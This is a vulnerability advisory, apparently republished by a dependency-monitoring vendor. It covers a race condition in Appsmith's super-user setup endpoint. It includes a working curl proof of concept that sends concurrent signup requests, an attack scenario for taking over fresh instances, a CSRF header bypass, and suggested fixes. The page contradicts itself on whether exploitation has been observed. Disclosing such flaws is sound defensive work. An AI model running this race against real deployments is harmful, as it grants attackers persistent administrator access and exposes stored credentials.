Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9wcp-79g5-5c3c
No affected components available
Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
Step 1: Verify Fresh State
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
Step 2: Send Concurrent Requests
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
Step 3: Verify in MongoDB
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
Observed Results
| Metric | Expected | Actual |
|--------|----------|--------|
| Users created | 1 | 10 |
| Users with manage:users policy | 1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
-
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
-
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
-
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
- Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
- Attacker polls
GET /api/v1/users/me— if the response contains"email": "anonymousUser", the instance has not been set up yet. - Attacker sends multiple concurrent
POST /api/v1/users/superrequests. - Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
- Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
CSRF Note
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard